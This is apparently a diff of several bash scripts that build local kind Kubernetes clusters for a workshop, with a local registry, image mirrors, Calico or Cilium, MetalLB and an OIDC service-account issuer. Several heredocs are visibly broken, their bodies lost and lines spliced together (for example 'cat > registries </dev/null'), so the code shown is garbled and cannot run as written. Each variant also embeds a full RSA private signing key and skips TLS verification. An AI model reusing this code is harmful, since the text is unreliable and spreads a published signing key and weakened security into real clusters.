+7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image 